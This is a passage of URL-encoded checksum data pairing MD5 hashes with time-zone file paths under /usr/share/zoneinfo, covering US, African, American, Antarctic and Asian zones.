2FUS%2FMichigan%0A50e0aefb8663f8cb2daffa91c069046a%20%20%2Fusr%2Fshare%2Fzoneinfo%2FUS%2FMountain%0A15dfb869e437999666a9ad37b8df71fb%20%20%2Fusr%2Fshare%2Fzoneinfo%2FUS%2FCentral%0A796ec755d701a523eedf5115047d35a2%20%20%2Fusr%2Fshare%2Fzoneinfo%2FUS%2FAlaska%0A29cf4e2028b63259193fff5581cfe613%20%20%2Fusr%2Fshare%2Fzoneinfo%2FUS%2FAleutian%0Af2b8f297e4dad866bdfb501d3a5ebe23%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fiso3166.tab%0A67057dba8db072f6d35a232bc314e9c6%20%20%2Fusr%2Fshare%2Fzoneinfo%2FWET%0A667eaf22c7998d054df713b0d20a37a0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FAddis_Ababa%0A4bb3515a02f5789386360e076bbc80cf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FAbidjan%0A193348a135d6e073652bd6a976f21058%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FAccra%0A0a96e887c7105299e4e6e7873e9b5e9f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FBlantyre%0A436d2e2d33c60b2413cfb0ef0e27ca48%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FAlgiers%0A667eaf22c7998d054df713b0d20a37a0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FAsmera%0Ac0b5a299d5de5e5cf2e55f399e8b5f67%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FBamako%0A0b4cc560f192b0a3f5fcd0629f751da3%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FBangui%0A12ad58b6b4f91b3e0ebaf5421b60312f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FBanjul%0A33235e69dbf1a837a0c788e065857a46%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FBissau%0Ae65aaf3c82f51a7ba8d68da9ebb3b783%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FDar_es_Salaam%0A3b5556871272606fc69869285d22bbbb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FBrazzaville%0A77cc861e2fc25001a436c70f092e0976%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FBujumbura%0Ab890522db28dce84e42c7fe009ed7788%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FCasablanca%0Ae91dee271de7431c3448dd6a2519572b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FCeuta%0Aacea3944efa196ee332039d609039cb1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FConakry%0A2f636936a69f20af8c856a12dd3428ac%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FDakar%0A21f86e3286e1b1adbc228fd2f0451fd3%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FJohannesburg%0Adbb78c5f87aaf959f43f4c273c90e020%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FDjibouti%0A0acb9f98a8c3cb936b4342bf785c07fd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FDouala%0Afdbfeabed8c80fe4d190f32565819911%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FEl_Aaiun%0A83c05207129cf0d5aa705fe0d4780a27%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FFreetown%0Af47be3c7c2549fc1234173bdb8b74e1c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FGaborone%0A9f42ab696a1b4d189af06b861203fbf3%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FHarare%0Ad8c4be0f2971f95ad5565d2fa8fe9169%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FKhartoum%0A095b39868b64a2edb48a901418ba9ab9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FKampala%0A4b37800d2aa9ddde113fc9d5d688af98%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FKinshasa%0A09bf9011e2b7bf228f9ae1c0ffdf490c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FKigali%0Ad1a2caa8b49269d3198e8f60b6f8b49b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FLibreville%0A6ac3db2b4eec920c21c7730317d4d4a3%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FLagos%0A77cc861e2fc25001a436c70f092e0976%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FLubumbashi%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FLome%0Ae729b54fd4dc3b2dd14642159f1ff467%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FLuanda%0A1c0aeadcc0fe06fc197f38474b9a7c9a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FMogadishu%0A12d2702a5857db8423563b69b8d79c55%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FLusaka%0A62f2befa2d2457cea5ae64a7f4c2d25d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FMalabo%0Ae4fb673a6006b4249533054961b4c73d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FMaputo%0Aee02cb735dc89f13c4dc62da83c1f54c%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FMaseru%0Ab82e195e075169e8966c3cdbf150c6b4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FMbabane%0Acc159838a58ab5b7cc0e2b4d82ff0e76%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FMonrovia%0Ad3b1514dcb52fab62cd9fad82dca8ae8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FNairobi%0A31cd003527d9b1fd4afe510b58c153cd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FNdjamena%0A2fcea9a476c14ef765c53df26196c32f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FNiamey%0A23916f09b702bec5eebf66ce747c777a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FNouakchott%0A73bd2722f7f7f4d9ebb735c629e4cdef%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FOuagadougou%0A490197c4079132b3d13ff2d53b5f83e5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FPorto-Novo%0A335e7e0ed7f2db50479e5c08feceacbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FSao_Tome%0A662929c5ff4a9ee263c0d1ed45888b9f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FTimbuktu%0Aa4478d1e83d12d9a381c21d38e697861%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FTunis%0Adf2200717e6335e9f8d626494d19f47f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FWindhoek%0A18167cde0c74d2c43a91e5945eb83548%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FTripoli%0Aebb72fd701bded8af364ddb97343095d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAfrica%2FCairo%0A5aa31bab43434d0a8eb39f644f921bb9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FBuenos_Aires%0A98128f8d5b758117f72db10200239e2a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FAnguilla%0A82c379afee77a10a2f222e901605c1c4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FAntigua%0A94eeb9e4062229494161535413ddff94%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FAraguaina%0A729d7fc9c7ab0f95e41f1012489fcc60%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FAruba%0Ae8402dbe0c3f6db7c1fc9e402a89df4a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FAsuncion%0A4740e465bb502628f55825f12d679fa9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FBarbados%0A72618cc12c0a81bb8fa12456e67bb1a8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FBelem%0A90ee33c4bc621ac33f2bb1addb742a91%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FBelize%0A6448f638bd40665207249b94edb28bda%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FBoa_Vista%0A4979f81ba06c253664d3f2f3420dedf2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FBogota%0Ab5de4596b11c51aea3a6ef9a95341897%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FBoise%0Ac818af9bc4fd2363f4a4feff953356c0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FIndiana%2FIndianapolis%0Aea120bd4b95021c597ccd73aed2744c8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FIndiana%2FMarengo%0A8e5d7cc56bd3d6d42c06b60a61d22db4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FIndiana%2FVevay%0Aa83da9b3c2bf9c09b2a7af3ce954c0a1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FIndiana%2FKnox%0Adb21dc8a6df0f3962a8f43dc71e1ea55%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FInuvik%0A4bf7f9465482735ceb6cbe87179b6a55%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FCambridge_Bay%0A2434dff46d1b5f3feea1aa4e0ed476a9%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FCancun%0Ac55cdc3a2c27a55e927453241cf2a7e6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FCaracas%0A2b99afffc9ff50c8f4fa51c82b296902%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FCatamarca%0Ab334d0ffdbf5c0507d8748241d9a19fc%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FCayenne%0Ae5ec2d70551b76ec5893897527db3c39%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FCayman%0Ac4f47de900b4c0ac5170a2d06addb19f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FChihuahua%0A4be8c4586ddae27bdb6d9d659965a11e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FCordoba%0A5512633fab501b4cbae9d164d5e8e2db%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FCosta_Rica%0A60353b0ef9f666febc045498d08e7fe7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FCuiaba%0A05e9327f9e392e76eddab757d8e7efee%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FCuracao%0A5aac58dcd6b80efcbfc5c0c19eeb6318%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FDawson%0A6cdcd37aa3517f478f19c51aa7e0816e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FDawson_Creek%0Ad74349de372024d84bc00a7e9da378b4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FDominica%0Aefba3d12c2b973655c9bc611692b7836%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FEirunepe%0A952dc4c8b21a0fa860f6593bef6cddff%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FEl_Salvador%0A1e5cc7cc5ef58b6e3500106ed1f5ed1b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FFortaleza%0A5720823545b16c33ea94882fc8918caf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FGlace_Bay%0A98903c40ef33a57353344f3c060ffd17%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FGodthab%0Ae0ce33b581c003135a466c4012e03936%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FGoose_Bay%0Acd55632ac24596a5d5fd3424b7552746%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FGrand_Turk%0Aa9a531384a9f889f8a7dfd2a8abc4822%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FGrenada%0Ac24061a202a2da55bbd2ca608e834204%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FGuadeloupe%0A9d11f2c393ce76974587f00a790abfb4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FGuatemala%0Aa7983a99ae9e865cff90aca9a56ac0e7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FGuayaquil%0A4d570b84954377012008972d34dfbbe0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FGuyana%0A1fb31b743501959933a3e7bb16a1913b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FHermosillo%0Ab6c9dfffd1233e59eb884aff65fb8213%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FKentucky%2FMonticello%0A0336aeb3fe6df4eff0e870292fd4c5ec%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FKentucky%2FLouisville%0Af2305cec27fd676ae815edd3b2736cc7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FIqaluit%0A846437bd9c3db617aa7aefba3e0c99d8%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FJujuy%0Ada6be7131f120257b06c6b63f803429f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FJuneau%0A0cf98b6c707d2ad29335f66091a6e310%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FMartinique%0Aa328940777113856d965bf4b6c0f1037%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FLa_Paz%0A3c599884c832c7ab3d3e541a1e5e3595%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FLima%0A149406f5233ebace1682c895f8e8d73e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FMaceio%0Ae0d83300f9200a6c82631a62e70381f4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FManagua%0Aaa15e95de26a463fff913f85cb33e553%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FMenominee%0A079700e5103a56df3bfcf2ba49f8a1fb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FMendoza%0A6dce1f927b4054ddb65d593381f34512%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FMiquelon%0Abf274b9fd94fad8855fbe5da8c262139%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FMerida%0A1732cbfdf15797f6d0216c27a14c82b4%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FPort-au-Prince%0A0cf982bb38c5a9a63ccf197590552c29%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FMonterrey%0A9ecf63a382df0f455ef226238c8be24b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FMontevideo%0Af47d234597db32361c30171c0806223f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FMontserrat%0Ae039a1e9cde744fc66401e21012f991d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FNassau%0Ad534ab9d1c824bc4871c644e1e2845e5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FNipigon%0A58ede60af37cfc0f6f29fd6e843fff84%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FNome%0Ae5e566c6d868b3a4d111b28729f0a736%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FPanama%0Abeee406f3c82dd0d5045c7296900a23a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FPangnirtung%0Aa0d8be7821c1b5f8d1a9a3a32d73d0fd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FParamaribo%0A989abd045ee47dc5f19f26cbdc493171%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FRio_Branco%0A29cf4e2028b63259193fff5581cfe613%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FAdak%0A9aaa7582599d6721d6e58f652e081bf5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FPort_of_Spain%0Add12bae88306b56b7747a2159b2dac2f%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FPorto_Velho%0A4fbe56059c0c73f91b4a5cd691019c4a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FRainy_River%0A598aa6d3b2b5c1612272fcd0ac10fb79%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FRankin_Inlet%0Aedc67e1aa61d5c23da0b21a38c65b7a5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FRecife%0A0e5cc4b673cd88dfe70a0c912e4b7268%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FRosario%0Ac3fc9a93821b71a0ff49785e7cb104ba%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FSanto_Domingo%0A4f89fbf23a78662ce848dc608c5c5ce5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FScoresbysund%0A687bc5ebdecb0e3965c3486659deac9d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FSt_Kitts%0A0b5cca27563a5f5954dad0838830a1c2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FSt_Lucia%0A81f20c4e314b323c256f99995c25554a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FSt_Vincent%0A619819d6a3a00dd289ec2b03fdb8c148%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FSwift_Current%0A7e0c5f21609ad6707d8c835bc671ae84%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FTegucigalpa%0A5d430c33973648731edfe573bfac64e0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FThule%0Acd3dd92f983166886ade2b361fde206e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FThunder_Bay%0A92f5c4620f3d50245fa23fdbf132c006%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FTortola%0A24a25fc16166cc0146ed47e1fe9735bd%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FYakutat%0Ad5a43d8ccd4b84e409ba6c9fad9ad7ef%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FYellowknife%0A97853dd48411bf87466aa8dc9f712885%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FWinnipeg%0Acf327ccb9e9bcb2982db0bd4f14d8080%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FWhitehorse%0Abd4333393bb17efb3d460d6441422405%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FVancouver%0A79ac74f0d29b663c3cce497765f83a1a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FVirgin%0A29cf4e2028b63259193fff5581cfe613%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FAtka%0A79ac74f0d29b663c3cce497765f83a1a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FSt_Thomas%0Aedd8b0176e76cdcde84e8764e1a318e7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FSt_Johns%0Af5575a1b10f0c267522f9e1a3ca6b888%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FSao_Paulo%0A8f031cb559484dda05d793524f47da88%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FSantiago%0A02af1835231f2a553a197fcbd19e17b5%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FRegina%0Ada099ecaed47e4a0f009ec57952b5012%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FPuerto_Rico%0Ac818af9bc4fd2363f4a4feff953356c0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FIndianapolis%0A989abd045ee47dc5f19f26cbdc493171%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FPorto_Acre%0A69a4d1d6d3b26e01b5219836a38fceb6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FPhoenix%0Ac5c319e99113cb65827f904a0fbdf374%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FNoronha%0A4894d160f97e824d37378342cfe73ff0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FNew_York%0Ad6f45d1f8c9115c7a866796ab8c8d722%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FMontreal%0A1a5e9052b0cb341386281aa38d6c24a7%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FMexico_City%0A756b5f938bb85d66ec81b91636c0c44b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FMazatlan%0A24210f1a2615a304bf58b9f07f4f326a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FManaus%0A7c7836c1a47b82d402e88495c6001abf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FLos_Angeles%0A0336aeb3fe6df4eff0e870292fd4c5ec%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FLouisville%0A598c3e5fa32cfd9ff03842dc3fc937e1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FJamaica%0Aa83da9b3c2bf9c09b2a7af3ce954c0a1%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FKnox_IN%0A17cd6157d9f7ee497b854cb492b74401%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FHavana%0A6a2961ab6cf33a142ad90288f51c5745%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FHalifax%0A702aa6d78a9d247ce99d7b87133ef14d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FTijuana%0A60e67814b44375a53e5a83527133dfd3%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FEdmonton%0Ac818af9bc4fd2363f4a4feff953356c0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FFort_Wayne%0A50e0aefb8663f8cb2daffa91c069046a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FShiprock%0A702aa6d78a9d247ce99d7b87133ef14d%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FEnsenada%0Ae2ff9c7814832a4da88882f5900bdc79%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FDetroit%0A50e0aefb8663f8cb2daffa91c069046a%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FDenver%0A15dfb869e437999666a9ad37b8df71fb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FChicago%0A796ec755d701a523eedf5115047d35a2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAmerica%2FAnchorage%0Aa61a04d3dbc06b6e5ae0b110b74cf264%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAntarctica%2FDumontDUrville%0A4725727220193500e3052a5fafa7d3ce%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAntarctica%2FCasey%0A4a45942116607d299093005c46d1e900%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAntarctica%2FDavis%0Ae169c05ec2c25f6ae09d546600c70ea6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAntarctica%2FSouth_Pole%0Ab4afd2c75b40333ed131c2a09964a665%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAntarctica%2FMawson%0Ae920192fbf96b80388db06756321c748%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAntarctica%2FPalmer%0A5ea2662bf9da256e6c25d9d53a22aabf%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAntarctica%2FSyowa%0Aa4175484f9957947ca47db3a3895fdc2%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAntarctica%2FVostok%0Ae169c05ec2c25f6ae09d546600c70ea6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAntarctica%2FMcMurdo%0Afd888c3218f34e71dc57221143d44ccb%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FArctic%2FLongyearbyen%0A131b24e6ae1aa244bbcfc2c81ef94359%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FCalcutta%0Ae45ce4fd28f793ffffc95c7de79e770e%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FAden%0A034c256a80fd9e76a1ca4250a7eefdaa%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FAlmaty%0Aa35e3192d16a9a8722d3b4d7e6fedc30%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FAmman%0A7b3ef232f15fb07cebe16a07a9b6ebe6%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FAnadyr%0Ac31f7778899f64cd0d91805ad1e3830b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FAqtau%0Ae195c03bd1dc0accc99071e0ae7fe730%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FAqtobe%0A3ee918f9dccbedc969b2501f569e8225%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FBaghdad%0A7ddf8abb9dc96b10dd122c1b66d01055%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FBahrain%0Aa2b7fd50279acbf3cee41652f77cfb11%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FBaku%0A4a296953fb56070ac1968ab136c78e99%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FBangkok%0Ad1164209c41866e990f71f4dbf775208%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FBeirut%0Af96d388f7d8cc58c136af9415b094107%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FBishkek%0Afc62f2d94fcfb0909ff156e2174d3092%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FBrunei%0Ad13bf0dfd7667c9bee876b8d366632b0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FKuala_Lumpur%0A84980baf2be8ce3934c0adc550ec1bda%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FChungking%0A7d171e759c62be73d0a935f919690d57%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FColombo%0A6afe54d283fe562912c0da8e3cf32d0b%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FDamascus%0Aeff8b91d869f183810664a9488280e56%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FDili%0A06207c7a51fa7d7be81eed23832039f0%20%20%2Fusr%2Fshare%2Fzoneinfo%2Fposix%2FAsia%2FDubai%0A23b477db0cc84a740431accfc